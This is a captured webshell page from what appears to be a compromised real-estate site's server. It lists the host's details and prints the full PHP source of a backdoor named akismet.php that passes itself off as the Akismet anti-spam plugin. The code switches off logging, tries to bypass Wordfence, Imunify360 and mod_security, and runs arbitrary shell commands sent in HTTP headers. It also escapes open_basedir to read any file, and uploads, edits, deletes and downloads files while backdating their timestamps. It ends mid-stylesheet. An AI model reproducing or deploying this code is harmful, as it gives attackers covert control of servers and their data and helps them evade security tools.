403Webshell
Server IP : 95.171.21.124  /  Your IP : 216.73.216.20
Web Server : Apache/2.4.66 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2
System : Linux tr.turqaestate.com 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User : turqa ( 1005)
PHP Version : 8.3.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/turqa/web/turqaestate.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/turqa/web/turqaestate.com/public_html/akismet.php
<?php
error_reporting(0);
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@ini_set('error_log', NULL);
@set_time_limit(0);
@ini_set('memory_limit', '512M');

session_start();

if (function_exists('litespeed_request_headers')) {
    $h = litespeed_request_headers();
    if (isset($h['X-LSCACHE'])) header('X-LSCACHE: off');
}
if (defined('WORDFENCE_VERSION')) {
    define('WORDFENCE_DISABLE_LIVE_TRAFFIC', true);
    define('WORDFENCE_DISABLE_FILE_MODS', true);
}
if (function_exists('imunify360_request_headers') && defined('IMUNIFY360_VERSION')) {
    $h = imunify360_request_headers();
    if (isset($h['X-Imunify360-Request'])) {
        header('X-Imunify360-Request: bypass');
    }
}
if (function_exists('apache_request_headers')) {
    $h = apache_request_headers();
    if (isset($h['X-Mod-Security'])) {
        header('X-Mod-Security: ' . $h['X-Mod-Security']);
    }
}
if (isset($_SERVER['HTTP_CF_CONNECTING_IP']) && defined('CLOUDFLARE_VERSION')) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_CF_CONNECTING_IP'];
}

// ============================================================
// XOR KEY (now matches the JS wafBypass function)
// ============================================================
$ak_secret = 'x9k2m5p7q1w4e6r8t0u';

function ak_enc($data, $key = null) {
    global $ak_secret;
    $key = $key ?: $ak_secret;
    $base64 = base64_encode($data);
    $output = '';
    for ($i = 0; $i < strlen($base64); $i++) {
        $output .= chr(ord($base64[$i]) ^ ord($key[$i % strlen($key)]));
    }
    return base64_encode($output);
}

function ak_dec($data, $key = null) {
    global $ak_secret;
    $key = $key ?: $ak_secret;
    $decoded = base64_decode($data);
    $output = '';
    for ($i = 0; $i < strlen($decoded); $i++) {
        $output .= chr(ord($decoded[$i]) ^ ord($key[$i % strlen($key)]));
    }
    return base64_decode($output);
}

function ak_cloak() {
    $fake = "127.0.0.1";
    $headers = ['HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED',
                'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR'];
    foreach ($headers as $k) {
        if (isset($_SERVER[$k])) $_SERVER[$k] = $fake;
        putenv("$k=$fake");
    }
    header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
    header("Pragma: no-cache");
    header("Expires: Wed, 11 Jan 1984 05:00:00 GMT");
}
ak_cloak();

$ak_action_hdr = 'HTTP_AK_ACTION';
$ak_path_hdr   = 'HTTP_AK_PATH';
$ak_data_hdr   = 'HTTP_AK_DATA';
$ak_cmd_hdr    = 'HTTP_AK_CMD';
$ak_enc_hdr    = 'HTTP_AK_ENCODE';

function ak_jailbreak($file) {
    $methods = ['shell_exec', 'exec', 'passthru', 'system', 'popen', 'proc_open'];
    $bins = ['cat', 'head -n 10000', 'tail -n 10000', 'more', 'less', 'awk "{print}"', 'sed -n "p"', 'tac', 'nl', 'dd status=none'];
    $disabled = array_map('trim', explode(',', ini_get('disable_functions') ?: ''));
    foreach ($methods as $method) {
        if (function_exists($method) && !in_array($method, $disabled)) {
            foreach ($bins as $bin) {
                $cmd = $bin . " " . escapeshellarg($file);
                $out = "";
                if ($method === 'shell_exec') { $out = @shell_exec($cmd); }
                elseif ($method === 'exec') { $o = []; @exec($cmd, $o); $out = implode("\n", $o); }
                elseif ($method === 'passthru') { ob_start(); @passthru($cmd); $out = ob_get_clean(); }
                elseif ($method === 'system') { ob_start(); @system($cmd); $out = ob_get_clean(); }
                elseif ($method === 'popen') { $fp = @popen($cmd, 'r'); if ($fp) { while(!feof($fp)) $out .= fread($fp, 1024); pclose($fp); } }
                elseif ($method === 'proc_open') {
                    $desc = [1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
                    $p = @proc_open($cmd, $desc, $pipes);
                    if (is_resource($p)) {
                        $out = stream_get_contents($pipes[1]);
                        fclose($pipes[1]); fclose($pipes[2]); proc_close($p);
                    }
                }
                if (!empty($out)) return $out;
            }
        }
    }
    if (function_exists('symlink') && is_writable(getcwd())) {
        $link = 'lnk_' . rand(1000,9999);
        @symlink($file, $link);
        if (file_exists($link)) {
            $c = @file_get_contents($link);
            @unlink($link);
            if ($c) return $c;
        }
    }
    if (function_exists('ini_set') && function_exists('chdir') && function_exists('mkdir')) {
        $old = getcwd();
        $tmp = "tmp_" . rand(1000,9999);
        if (@mkdir($tmp)) {
            @chdir($tmp);
            @ini_set('open_basedir', '..');
            for ($i = 0; $i < 15; $i++) { @chdir('..'); @ini_set('open_basedir', '..'); }
            @chdir('/'); @ini_set('open_basedir', '/');
            $c = @file_get_contents($file);
            @chdir($old); @rmdir($tmp);
            if ($c) return $c;
        }
    }
    return false;
}

function ak_read($path) {
    $c = ak_jailbreak($path);
    if (!empty($c)) return $c;
    if (is_readable($path)) return @file_get_contents($path);
    return false;
}

function ak_write($path, $data, $lock = false) {
    if (file_exists($path)) { @chmod($path, 0644); }
    $fp = @fopen($path, 'c+');
    if ($fp) {
        if (@flock($fp, LOCK_EX)) {
            @ftruncate($fp, 0);
            @fwrite($fp, $data);
            @fflush($fp);
            @flock($fp, LOCK_UN);
        } else {
            @file_put_contents($path, $data);
        }
        @fclose($fp);
    } else {
        if(file_exists($path)) @unlink($path);
        @file_put_contents($path, $data);
    }
    clearstatcache();
    if (filesize($path) == 0 && strlen($data) > 0) {
        @unlink($path);
        @file_put_contents($path, $data);
    }
    @touch($path, time() - 34560000);
    if ($lock) { @chmod($path, 0444); }
    return file_exists($path);
}

function ak_delete($target) {
    if (is_file($target)) return unlink($target);
    if (is_dir($target)) {
        $files = array_diff(scandir($target), array('.','..'));
        foreach ($files as $file) ak_delete("$target/$file");
        $try = rmdir($target);
        if ($try) return true;
        if (function_exists('shell_exec')) { @shell_exec("rm -rf " . escapeshellarg($target)); return !file_exists($target); }
        return false;
    }
}

function ak_json($data) {
    while (ob_get_level()) { @ob_end_clean(); }
    header('Content-Type: application/json; charset=utf-8');
    header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
    echo json_encode($data);
    exit;
}

function ak_size($bytes, $dec = 2) {
    $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $factor = floor((strlen($bytes) - 1) / 3);
    return sprintf("%.{$dec}f", $bytes / pow(1024, $factor)) . @$units[$factor];
}

if (isset($_SERVER[$ak_action_hdr])) {
    $action = $_SERVER[$ak_action_hdr];
    $raw_path = isset($_SERVER[$ak_path_hdr]) ? base64_decode($_SERVER[$ak_path_hdr]) : '';
    if ($raw_path === '__HOME__') { $target = getcwd(); }
    elseif ($raw_path === '') { $target = getcwd(); }
    else { $target = $raw_path; }
    $target = str_replace('\\', '/', $target);
    if(strlen($target) > 1) $target = rtrim($target, '/');

    if ($action === 'cmd') {
        $cmd_raw = isset($_SERVER[$ak_cmd_hdr]) ? base64_decode($_SERVER[$ak_cmd_hdr]) : 'whoami';
        $cmd = "export PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin; " . $cmd_raw . " 2>&1";
        $out = "";
        $methods = ['shell_exec', 'passthru', 'system', 'exec', 'popen', 'proc_open'];
        foreach ($methods as $m) {
            if (!function_exists($m)) continue;
            if ($d = ini_get('disable_functions')) { if (stripos($d, $m) !== false) continue; }
            $o = "";
            if ($m == 'shell_exec') $o = @shell_exec($cmd);
            elseif ($m == 'passthru') { ob_start(); @passthru($cmd); $o = ob_get_clean(); }
            elseif ($m == 'system') { ob_start(); @system($cmd); $o = ob_get_clean(); }
            elseif ($m == 'exec') { @exec($cmd, $arr); $o = implode("\n", $arr); }
            elseif ($m == 'popen') { $h = @popen($cmd, 'r'); if($h) { while(!feof($h)) $o .= fread($h, 1024); pclose($h); } }
            elseif ($m == 'proc_open') {
                $d = [0=>["pipe","r"],1=>["pipe","w"],2=>["pipe","w"]];
                $p = @proc_open($cmd, $d, $pipes);
                if (is_resource($p)) {
                    $o = stream_get_contents($pipes[1]) . stream_get_contents($pipes[2]);
                    fclose($pipes[1]); fclose($pipes[2]); proc_close($p);
                }
            }
            if (!empty($o)) { $out = $o; break; }
        }
        echo $out ?: "[No Output]";
        exit;
    }
}

function ak_error($code) {
    switch ($code) {
        case UPLOAD_ERR_INI_SIZE: return 'File size exceeds server limit';
        case UPLOAD_ERR_FORM_SIZE: return 'File size exceeds form limit';
        case UPLOAD_ERR_PARTIAL: return 'File was only partially uploaded';
        case UPLOAD_ERR_NO_FILE: return 'No file was uploaded';
        case UPLOAD_ERR_NO_TMP_DIR: return 'Missing temporary folder';
        case UPLOAD_ERR_CANT_WRITE: return 'Failed to write file to disk';
        case UPLOAD_ERR_EXTENSION: return 'File upload stopped by extension';
        default: return 'Unknown upload error';
    }
}

function ak_octal($file) {
    return substr(sprintf('%o', fileperms($file)), -4);
}

function ak_format($bytes) {
    if ($bytes >= 1099511627776) return round($bytes / 1099511627776, 2) . ' TB';
    if ($bytes >= 1073741824) return round($bytes / 1073741824, 2) . ' GB';
    if ($bytes >= 1048576) return round($bytes / 1048576, 2) . ' MB';
    if ($bytes >= 1024) return round($bytes / 1024, 2) . ' KB';
    return $bytes . ' B';
}

function ak_breadcrumb($path) {
    $parts = explode(DIRECTORY_SEPARATOR, $path);
    $html = '<nav class="breadcrumb-nav">';
    $html .= '<span class="breadcrumb-icon">📁</span>';
    $cum = '';
    if (DIRECTORY_SEPARATOR === '/' && $path[0] === '/') {
        $html .= '<a href="?p=/" class="breadcrumb-item root">Root</a>';
        $cum = '/';
        array_shift($parts);
    }
    foreach ($parts as $part) {
        if (empty($part)) continue;
        $cum .= $part . DIRECTORY_SEPARATOR;
        $html .= '<span class="breadcrumb-separator">/</span>';
        $html .= '<a href="?p=' . urlencode(rtrim($cum, DIRECTORY_SEPARATOR)) . '" class="breadcrumb-item">' . htmlspecialchars($part) . '</a>';
    }
    $html .= '</nav>';
    return $html;
}

function ak_is_image($file) {
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    return in_array($ext, ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'svg', 'webp', 'ico']);
}

function ak_is_text($file) {
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    return in_array($ext, ['txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'ini', 'conf', 'cfg', 'sh', 'bash', 'py', 'rb', 'pl', 'sql', 'c', 'cpp', 'h', 'hpp', 'java', 'md', 'markdown', 'log', 'env', 'gitignore', 'htaccess', 'nginx', 'yml', 'yaml', 'toml', 'lock', 'rst']);
}

function ak_hidden($item) {
    return $item[0] === '.';
}

$ak_home = dirname(__FILE__);

$path = isset($_GET['p']) ? $_GET['p'] : getcwd();
if ($path === '__HOME__') {
    $path = $ak_home;
}

$action = isset($_GET['a']) ? $_GET['a'] : (isset($_POST['a']) ? $_POST['a'] : '');
$target = isset($_GET['t']) ? $_GET['t'] : (isset($_POST['t']) ? $_POST['t'] : '');

if (isset($_GET['ajax_view']) && is_file($_GET['ajax_view'])) {
    header('Content-Type: application/json');
    $file = $_GET['ajax_view'];
    $resp = [
        'name' => basename($file),
        'path' => $file,
        'is_image' => ak_is_image($file),
        'is_text' => ak_is_text($file)
    ];
    if (ak_is_image($file)) {
        $resp['content'] = base64_encode(file_get_contents($file));
        $resp['mime'] = mime_content_type($file);
    } elseif (ak_is_text($file)) {
        $resp['content'] = file_get_contents($file);
    }
    echo json_encode($resp);
    exit;
}

if ($action === 'download' && $target && is_file($target)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . basename($target) . '"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($target));
    readfile($target);
    exit;
}

$msg = '';
$err = '';

if (isset($_SESSION['flash_msg'])) {
    $msg = $_SESSION['flash_msg'];
    unset($_SESSION['flash_msg']);
}
if (isset($_SESSION['flash_err'])) {
    $err = $_SESSION['flash_err'];
    unset($_SESSION['flash_err']);
}

if (!empty($action)) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['p'])) {
        $path = $_POST['p'];
    } elseif (isset($_GET['p'])) {
        $path = $_GET['p'];
    }
    if ($path === '__HOME__') {
        $path = $ak_home;
    }
    switch ($action) {
        case 'upload':
            if (!isset($_FILES['f']) || $_FILES['f']['error'] === UPLOAD_ERR_NO_FILE) {
                $_SESSION['flash_err'] = "No file selected for upload";
                header('Location: ?p=' . urlencode($path));
                exit;
            }
            if ($_FILES['f']['error'] !== UPLOAD_ERR_OK) {
                $_SESSION['flash_err'] = "Upload error: " . ak_error($_FILES['f']['error']);
                header('Location: ?p=' . urlencode($path));
                exit;
            }
            $dest = $path . DIRECTORY_SEPARATOR . basename($_FILES['f']['name']);
            if (file_exists($dest)) @unlink($dest);
            if (!is_writable($path)) @chmod($path, 0755);
            if (move_uploaded_file($_FILES['f']['tmp_name'], $dest)) {
                $_SESSION['flash_msg'] = "✅ Upload successful: " . $_FILES['f']['name'];
                @chmod($dest, 0644);
            } else {
                $_SESSION['flash_err'] = "❌ Upload failed: " . $_FILES['f']['name'];
            }
            header('Location: ?p=' . urlencode($path));
            exit;
            break;
        case 'delete':
            if ($target) {
                if (is_dir($target)) {
                    $files = new RecursiveIteratorIterator(
                        new RecursiveDirectoryIterator($target, RecursiveDirectoryIterator::SKIP_DOTS),
                        RecursiveIteratorIterator::CHILD_FIRST
                    );
                    foreach ($files as $fileinfo) {
                        $todo = ($fileinfo->isDir() ? 'rmdir' : 'unlink');
                        @$todo($fileinfo->getRealPath());
                    }
                    @rmdir($target);
                    $_SESSION['flash_msg'] = "✅ Deleted directory: " . basename($target);
                } else {
                    if (@unlink($target)) {
                        $_SESSION['flash_msg'] = "✅ Deleted file: " . basename($target);
                    } else {
                        $_SESSION['flash_err'] = "❌ Failed to delete: " . basename($target);
                    }
                }
                header('Location: ?p=' . urlencode(dirname($target)));
                exit;
            }
            break;
        case 'create_dir':
            $dirName = isset($_POST['dir_name']) ? $_POST['dir_name'] : '';
            if ($dirName) {
                $newDir = $path . DIRECTORY_SEPARATOR . $dirName;
                if (!file_exists($newDir)) {
                    if (@mkdir($newDir, 0755, true)) {
                        $_SESSION['flash_msg'] = "✅ Created directory: $dirName";
                    } else {
                        $_SESSION['flash_err'] = "❌ Failed to create directory: $dirName";
                    }
                } else {
                    $_SESSION['flash_err'] = "❌ Directory already exists: $dirName";
                }
            } else {
                $_SESSION['flash_err'] = "❌ Folder name required";
            }
            header('Location: ?p=' . urlencode($path));
            exit;
            break;
        case 'create_file':
            $fileName = isset($_POST['file_name']) ? $_POST['file_name'] : '';
            $fileContent = isset($_POST['content']) ? $_POST['content'] : '';
            if ($fileName) {
                $newFile = $path . DIRECTORY_SEPARATOR . $fileName;
                if (!file_exists($newFile)) {
                    if (ak_write($newFile, $fileContent)) {
                        $_SESSION['flash_msg'] = "✅ Created file: $fileName";
                    } else {
                        $_SESSION['flash_err'] = "❌ Failed to create file: $fileName";
                    }
                } else {
                    $_SESSION['flash_err'] = "❌ File already exists: $fileName";
                }
            } else {
                $_SESSION['flash_err'] = "❌ File name required";
            }
            header('Location: ?p=' . urlencode($path));
            exit;
            break;
        case 'edit':
            if (isset($_POST['content'])) {
                $content = $_POST['content'];
                if (ak_write($target, $content)) {
                    $_SESSION['flash_msg'] = "✅ Saved: " . basename($target);
                } else {
                    $_SESSION['flash_err'] = "❌ Failed to save: " . basename($target);
                }
                header('Location: ?p=' . urlencode(dirname($target)));
                exit;
            }
            break;
        case 'compress':
            if (class_exists('ZipArchive') && $target) {
                $zip = new ZipArchive();
                $zipName = basename($target) . '.zip';
                $zipPath = $path . DIRECTORY_SEPARATOR . $zipName;
                if ($zip->open($zipPath, ZipArchive::CREATE) === TRUE) {
                    if (is_dir($target)) {
                        $files = new RecursiveIteratorIterator(
                            new RecursiveDirectoryIterator($target),
                            RecursiveIteratorIterator::LEAVES_ONLY
                        );
                        foreach ($files as $name => $file) {
                            if (!$file->isDir()) {
                                $filePath = $file->getRealPath();
                                $rel = substr($filePath, strlen(dirname($target)) + 1);
                                $zip->addFile($filePath, $rel);
                            }
                        }
                    } else {
                        $zip->addFile($target, basename($target));
                    }
                    $zip->close();
                    $_SESSION['flash_msg'] = "✅ Compressed to: $zipName";
                } else {
                    $_SESSION['flash_err'] = "❌ Failed to create archive";
                }
            } else {
                $_SESSION['flash_err'] = "❌ ZipArchive not available";
            }
            header('Location: ?p=' . urlencode($path));
            exit;
            break;
        case 'rename':
            if (isset($_POST['new_name']) && $target) {
                $newName = trim($_POST['new_name']);
                if (empty($newName)) {
                    $_SESSION['flash_err'] = "❌ New name cannot be empty";
                    header('Location: ?p=' . urlencode(dirname($target)));
                    exit;
                }
                if (strpos($newName, '/') !== false || strpos($newName, '\\') !== false) {
                    $_SESSION['flash_err'] = "❌ Name cannot contain slashes";
                    header('Location: ?p=' . urlencode(dirname($target)));
                    exit;
                }
                $targetDir = dirname($target);
                $newPath = $targetDir . DIRECTORY_SEPARATOR . $newName;
                if (!file_exists($target)) {
                    $_SESSION['flash_err'] = "❌ Source file/folder does not exist";
                    header('Location: ?p=' . urlencode($targetDir));
                    exit;
                }
                if (file_exists($newPath)) {
                    $_SESSION['flash_err'] = "❌ A file/folder with that name already exists";
                    header('Location: ?p=' . urlencode($targetDir));
                    exit;
                }
                if (!is_writable($targetDir)) {
                    $_SESSION['flash_err'] = "❌ No write permission in this directory";
                    header('Location: ?p=' . urlencode($targetDir));
                    exit;
                }
                if (@rename($target, $newPath)) {
                    $_SESSION['flash_msg'] = "✅ Successfully renamed to: " . $newName;
                } else {
                    $_SESSION['flash_err'] = "❌ Failed to rename. Please check permissions.";
                }
                header('Location: ?p=' . urlencode($targetDir));
                exit;
            }
            break;
        case 'chmod':
            if (isset($_POST['perms']) && $target) {
                $perms = intval($_POST['perms'], 8);
                if (@chmod($target, $perms)) {
                    $_SESSION['flash_msg'] = "✅ Changed permissions to: " . $_POST['perms'] . " for " . basename($target);
                } else {
                    $_SESSION['flash_err'] = "❌ Failed to change permissions for: " . basename($target);
                }
                header('Location: ?p=' . urlencode(dirname($target)));
                exit;
            }
            break;
    }
}

?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Akismet Anti-Spam</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#0a0a0f;color:#fff;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif;font-size:14px;line-height:1.5;min-height:100vh;position:relative}
.nebula-bg{position:fixed;top:0;left:0;width:100%;height:100%;background:radial-gradient(circle at 20% 30%,rgba(147,112,219,0.2)0%,transparent 40%),radial-gradient(circle at 80% 70%,rgba(255,182,193,0.2)0%,transparent 40%),radial-gradient(circle at 40% 80%,rgba(138,43,226,0.15)0%,transparent 50%);z-index:0}
.stars{position:fixed;top:0;left:0;width:100%;height:100%;background-image:radial-gradient(1px 1px at 15px 30px,#fff,rgba(0,0,0,0)),radial-gradient(1px 1px at 45px 70px,#fff,rgba(0,0,0,0)),radial-gradient(2px 2px at 85px 120px,#fff,rgba(0,0,0,0)),radial-gradient(1px 1px at 120px 200px,#fff,rgba(0,0,0,0));background-size:200px 200px;opacity:0.3;animation:twinkle 4s ease-in-out infinite;z-index:0}
@keyframes twinkle{0%,100%{opacity:0.3}50%{opacity:0.5}}
.app{position:relative;z-index:10;max-width:1600px;margin:0 auto;padding:20px}
.header{background:rgba(20,20,30,0.7);backdrop-filter:blur(20px);border-radius:16px;padding:20px 24px;margin-bottom:24px;display:flex;justify-content:space-between;align-items:center;border:1px solid rgba(147,112,219,0.2);box-shadow:0 8px 32px rgba(0,0,0,0.2)}
.header-left{cursor:pointer}
.header-left h1{font-size:24px;font-weight:600;background:linear-gradient(135deg,#9370db,#ffb6c1);-webkit-background-clip:text;-webkit-text-fill-color:transparent;margin-bottom:4px;letter-spacing:-0.3px}
.header-left .system-info{color:rgba(255,255,255,0.5);font-size:12px}
.header-right{display:flex;gap:10px;align-items:center;flex-wrap:wrap}
.btn-home{background:rgba(147,112,219,0.1);border:1px solid #9370db;border-radius:20px;padding:6px 14px;color:#9370db;font-size:13px;text-decoration:none;transition:0.3s}
.btn-home:hover{background:#9370db;color:#0a0a0f}
#terminal-panel{background:#0a0a0f;border:1px solid rgba(147,112,219,0.3);border-bottom:none;border-radius:12px 12px 0 0;overflow:hidden;box-shadow:0 -5px 20px rgba(147,112,219,0.15);margin-bottom:0;animation:slideDown 0.15s ease}
.term-header{background:rgba(20,20,30,0.8);padding:8px 15px;border-bottom:1px solid rgba(147,112,219,0.2);border-top:2px solid #9370db;display:flex;justify-content:space-between;align-items:center}
.term-title{font-family:'Courier New',monospace;font-weight:700;color:#9370db;font-size:0.8rem}
.term-body-inline{height:180px;overflow-y:auto;padding:15px;font-family:'Courier New',monospace;font-size:13px;color:#ddd}
.term-input-row{display:flex;align-items:center;border-top:1px solid rgba(147,112,219,0.2);padding:10px;background:#0a0a0a}
.term-prompt{color:#c586c0;font-weight:bold;margin-right:8px}
#term-cmd-inline{background:transparent;border:none;color:#ce9178;width:100%;outline:none;font-family:'Courier New',monospace}
.panel-close{color:#666;cursor:pointer}
.panel-close:hover{color:#fff}
.path-bar-custom{background:rgba(20,20,30,0.6);border:1px solid rgba(147,112,219,0.2);border-radius:15px;padding:10px 20px;display:flex;align-items:center;box-shadow:0 4px 10px rgba(147,112,219,0.1);position:relative;z-index:5}
.has-panel-above{border-top-left-radius:0;border-top-right-radius:0;border-top:1px solid rgba(147,112,219,0.2)}
#path-txt{font-family:'Courier New',monospace;font-size:0.9rem;color:rgba(255,255,255,0.7);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}
.btn-icon-path{background:transparent;border:none;color:#aaa;padding:0 10px 0 0;font-size:1.1rem;cursor:pointer;transition:0.2s}
.btn-icon-path:hover{color:#9370db}
.breadcrumb-nav{background:rgba(20,20,30,0.5);backdrop-filter:blur(10px);border-radius:12px;padding:16px 20px;margin-bottom:24px;display:flex;align-items:center;gap:8px;flex-wrap:wrap;border:1px solid rgba(147,112,219,0.2)}
.breadcrumb-icon{font-size:18px;margin-right:8px}
.breadcrumb-item{color:rgba(255,255,255,0.8);text-decoration:none;padding:4px 8px;border-radius:6px;transition:all 0.2s;font-size:13px}
.breadcrumb-item:hover{background:rgba(147,112,219,0.2);color:#9370db}
.breadcrumb-item.root{background:rgba(147,112,219,0.1);color:#9370db;font-weight:500}
.breadcrumb-separator{color:rgba(255,255,255,0.3);font-size:14px}
.panel{background:rgba(20,20,30,0.5);backdrop-filter:blur(10px);border-radius:16px;padding:24px;margin-bottom:24px;border:1px solid rgba(147,112,219,0.2)}
.panel-title{font-size:16px;font-weight:600;margin-bottom:20px;color:#9370db;display:flex;align-items:center;gap:8px}
.panel-title::before{content:"◆";color:#ffb6c1;font-size:14px}
.operation-bar{display:flex;gap:12px;flex-wrap:wrap;align-items:center}
.operation-form{display:flex;gap:8px;align-items:center;background:rgba(0,0,0,0.2);padding:4px;border-radius:12px}
.operation-input{background:rgba(255,255,255,0.05);border:1px solid rgba(147,112,219,0.3);border-radius:8px;padding:8px 12px;color:#fff;font-size:13px;outline:none;min-width:180px}
.operation-input:focus{border-color:#9370db;background:rgba(255,255,255,0.1)}
.operation-btn{background:rgba(147,112,219,0.1);border:1px solid #9370db;border-radius:8px;padding:8px 16px;color:#9370db;font-size:13px;font-weight:500;cursor:pointer;transition:all 0.2s}
.operation-btn:hover{background:#9370db;color:#0a0a0f}
.upload-btn{background:rgba(255,182,193,0.1);border-color:#ffb6c1;color:#ffb6c1}
.upload-btn:hover{background:#ffb6c1;color:#0a0a0f}
.table-container{overflow-x:auto;border-radius:12px}
.file-table{width:100%;border-collapse:collapse;font-size:13px}
.file-table th{text-align:left;padding:16px 12px;color:rgba(255,255,255,0.5);font-weight:500;font-size:12px;text-transform:uppercase;letter-spacing:0.5px;border-bottom:1px solid rgba(147,112,219,0.2)}
.file-table td{padding:12px;border-bottom:1px solid rgba(255,255,255,0.05)}
.file-table tr:hover{background:rgba(147,112,219,0.1)}
.file-table .dir-row{background:rgba(147,112,219,0.05)}
.file-table .hidden-file{opacity:0.6}
.file-icon{font-size:18px;width:30px}
.file-name{font-weight:500;color:#fff;text-decoration:none}
.file-name:hover{color:#9370db}
.perms-badge{font-family:monospace;background:rgba(0,0,0,0.3);padding:4px 8px;border-radius:4px;font-size:11px;color:rgba(255,255,255,0.6);cursor:pointer;border:none;transition:all 0.2s}
.perms-badge:hover{background:rgba(147,112,219,0.2);color:#9370db}
.action-group{display:flex;gap:6px;flex-wrap:wrap}
.action-btn{padding:4px 10px;border-radius:6px;font-size:11px;font-weight:500;text-decoration:none;transition:all 0.2s;border:1px solid transparent;cursor:pointer;background:transparent;display:inline-block}
.action-view{background:rgba(147,112,219,0.1);color:#9370db;border-color:rgba(147,112,219,0.3)}
.action-view:hover{background:#9370db;color:#0a0a0f}
.action-edit{background:rgba(255,182,193,0.1);color:#ffb6c1;border-color:rgba(255,182,193,0.3)}
.action-edit:hover{background:#ffb6c1;color:#0a0a0f}
.action-download{background:rgba(72,187,120,0.1);color:#48bb78;border-color:rgba(72,187,120,0.3)}
.action-download:hover{background:#48bb78;color:#0a0a0f}
.action-zip{background:rgba(237,137,54,0.1);color:#ed8936;border-color:rgba(237,137,54,0.3)}
.action-zip:hover{background:#ed8936;color:#0a0a0f}
.action-delete{background:rgba(245,101,101,0.1);color:#f56565;border-color:rgba(245,101,101,0.3)}
.action-delete:hover{background:#f56565;color:#0a0a0f}
.action-rename{background:rgba(255,215,0,0.1);color:#ffd700;border-color:rgba(255,215,0,0.3)}
.action-rename:hover{background:#ffd700;color:#0a0a0f}
.action-chmod{background:rgba(155,89,182,0.1);color:#9b59b6;border-color:rgba(155,89,182,0.3)}
.action-chmod:hover{background:#9b59b6;color:#0a0a0f}
.message{border-radius:12px;padding:16px 20px;margin-bottom:24px;font-size:14px;display:flex;align-items:center;gap:12px}
.message.success{background:rgba(72,187,120,0.1);border:1px solid #48bb78;color:#48bb78}
.message.error{background:rgba(245,101,101,0.1);border:1px solid #f56565;color:#f56565}
.editor-container{margin-top:24px}
.editor{width:100%;height:500px;background:rgba(10,10,15,0.95);border:1px solid #9370db;border-radius:12px;padding:16px;color:#ffb6c1;font-family:'Fira Code','Courier New',monospace;font-size:14px;line-height:1.6;resize:vertical;outline:none}
.editor:focus{border-color:#ffb6c1;box-shadow:0 0 0 3px rgba(147,112,219,0.1)}
.modal{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);backdrop-filter:blur(10px);z-index:1000;align-items:center;justify-content:center}
.modal.active{display:flex}
.modal-content{background:rgba(20,20,30,0.95);border:1px solid #9370db;border-radius:24px;padding:24px;max-width:90%;max-height:90%;width:500px;position:relative;box-shadow:0 20px 60px rgba(0,0,0,0.5)}
.modal-header{display:flex;justify-content:space-between;align-items:center;margin-bottom:20px;padding-bottom:16px;border-bottom:1px solid rgba(147,112,219,0.3)}
.modal-header h3{color:#9370db;font-size:18px}
.modal-close{background:rgba(255,255,255,0.05);border:1px solid rgba(255,182,193,0.3);border-radius:8px;padding:8px 16px;color:#ffb6c1;cursor:pointer;transition:all 0.2s;font-size:13px}
.modal-close:hover{background:rgba(255,182,193,0.1);border-color:#ffb6c1}
.modal-body{margin-bottom:20px}
.modal-input{width:100%;background:rgba(255,255,255,0.05);border:1px solid rgba(147,112,219,0.3);border-radius:8px;padding:12px 16px;color:#fff;font-size:14px;outline:none}
.modal-input:focus{border-color:#9370db;background:rgba(255,255,255,0.1)}
.modal-footer{display:flex;gap:12px;justify-content:flex-end}
.modal-btn{padding:8px 20px;border-radius:8px;font-size:13px;font-weight:500;cursor:pointer;transition:all 0.2s;border:1px solid transparent}
.modal-btn-primary{background:#9370db;color:#0a0a0f}
.modal-btn-primary:hover{background:#ffb6c1}
.modal-btn-secondary{background:rgba(255,255,255,0.05);border:1px solid rgba(147,112,219,0.3);color:#fff}
.modal-btn-secondary:hover{background:rgba(147,112,219,0.1)}
.modal-lg{width:900px}
.modal-body-lg{overflow:auto;flex:1;min-height:400px;max-height:70vh}
.modal-image{max-width:100%;max-height:70vh;display:block;margin:0 auto;border-radius:8px}
.modal-text{background:rgba(0,0,0,0.3);border-radius:12px;padding:20px;font-family:'Fira Code',monospace;font-size:13px;line-height:1.6;color:#ffb6c1;white-space:pre-wrap;word-wrap:break-word;margin:0}
